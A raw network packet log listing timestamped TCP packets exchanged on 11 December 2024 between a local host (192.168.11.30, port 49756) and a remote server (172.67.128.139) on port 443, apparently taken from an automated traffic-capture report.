Dec 11, 2024 12:29:48.181723118 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.224261045 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.386759996 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.386789083 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.387147903 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.387155056 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.387487888 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.388576031 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.388582945 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.388761997 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.388811111 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.388811111 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.388814926 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.388859034 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.389012098 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.390574932 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.390583038 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.390758038 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.390816927 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.390821934 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.390851974 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.390961885 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.392513990 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.392522097 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.392702103 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.392702103 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.392708063 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.392798901 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.392849922 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.394383907 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.394396067 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.394836903 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.394843102 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.394968033 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.395311117 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.396876097 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.396883965 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.397031069 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.397138119 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.397141933 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.397355080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.398871899 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.398880005 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.398997068 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.399178028 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.399180889 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.399347067 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.400516987 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.400815964 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.400824070 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.401000023 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.401076078 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.401079893 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.401222944 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.401572943 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.401700974 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.401851892 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.403539896 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.403548002 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.403851032 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.403856993 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.405864954 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.405874968 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.406342030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.406347990 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.406723976 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.406936884 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.406943083 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.407094002 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.407720089 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.407888889 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.408045053 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.408049107 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.409868002 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.409876108 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.410228968 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.410234928 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.411998987 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.412005901 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.412141085 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.412147045 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.412189960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.412189960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.412239075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.412339926 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.413783073 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.413790941 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.413933992 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.413983107 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.414031982 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.414031982 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.414036036 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.414078951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.415683031 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.415693045 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.415806055 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.415812016 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.415900946 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.415900946 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.416027069 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.417594910 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.417602062 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.417747021 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.417747021 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.417797089 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.417838097 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.417838097 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.417840958 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.417886019 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.419989109 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.419996977 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.420159101 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.420159101 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.420164108 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.420288086 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.421933889 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.421941996 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.422163010 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.422276974 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.422281981 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.422374010 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.422434092 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.423907995 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.423917055 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.424061060 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.424061060 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.424082041 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.424113035 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.424204111 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.424786091 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.424920082 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.424920082 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.424968004 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.429434061 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.625015974 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.625025988 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.625199080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.625199080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.625206947 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.625346899 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.625346899 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.626977921 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.626986027 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.627163887 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.627208948 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.627208948 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.627213001 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.627258062 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.627356052 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.628889084 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.628896952 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.629033089 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.629081964 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.629081964 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.629086018 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.629132986 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.629180908 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.629327059 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.630881071 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.630888939 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.631114960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.631114960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.631119013 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.631258011 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.632782936 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.632791042 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.632977009 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.632977009 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.633027077 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.633028030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.633028030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.633030891 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.633197069 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.635128021 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.635135889 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.635299921 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.635299921 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.635305882 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.635363102 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.635456085 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.635509968 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.637259007 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.637267113 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.637434006 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.637480021 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.637480021 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.637484074 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.637528896 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.637633085 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.638964891 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.638972998 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.639177084 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.639177084 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.639183044 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.639230013 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.639272928 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.639481068 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.640888929 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.640897036 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.641083956 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.641088963 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.641176939 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.641231060 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.643229961 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.643374920 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.643413067 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.643413067 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.643484116 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.643496037 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.643500090 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.643546104 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.643646955 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.643695116 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.645382881 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.645390034 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.645519972 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.645519972 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.645565987 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.645565987 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.645570040 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.645615101 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.645714998 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.647083044 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.647212982 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.647326946 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.647332907 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.647377014 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.647444010 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.648133993 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.648248911 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.648402929 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.648402929 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.648408890 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.650180101 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.650305033 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.650305033 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.650311947 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.650408030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.650558949 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.651940107 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.651947975 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.652086973 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.652148008 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.652148008 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.652151108 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.652199984 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.654691935 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.654700994 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.654855013 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.654855013 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.654860973 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.654900074 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.654998064 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.656424046 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.656431913 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.656610012 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.656615019 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.656655073 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.656656027 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.656708002 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.657494068 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.658459902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.658468008 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.658662081 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.658710957 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.658714056 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.658781052 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.660072088 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.660079956 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.660258055 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.660264015 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.660307884 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.660307884 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.660307884 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.660408020 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.661693096 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.662916899 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.662925005 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.663043976 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.663093090 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.663191080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.663191080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.663194895 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.663285971 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.664863110 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.664872885 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.665004969 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.665009975 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.665052891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.665097952 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.665203094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.665205956 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.665329933 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.665329933 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.749691963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.771533012 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.863631964 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.863667011 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.863795042 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.863965034 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.863969088 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.864160061 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.865591049 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.865612984 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.866049051 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.866049051 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.866049051 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.866049051 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.866049051 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.866055965 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.866236925 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.867501020 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.867510080 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.867652893 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.867652893 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.867712021 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.867712021 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.867716074 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.867749929 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.867851019 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.869410992 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.869419098 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.869615078 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.869661093 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.869661093 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.869663954 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.869841099 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.871578932 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.871607065 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.871803045 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.871840000 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.871840000 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.871843100 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.871989965 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.873289108 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.873296022 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:48.873466015 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.873466015 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.873507977 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:48.873511076 CET	443	49756	172.67.128.139	192.168.11.30
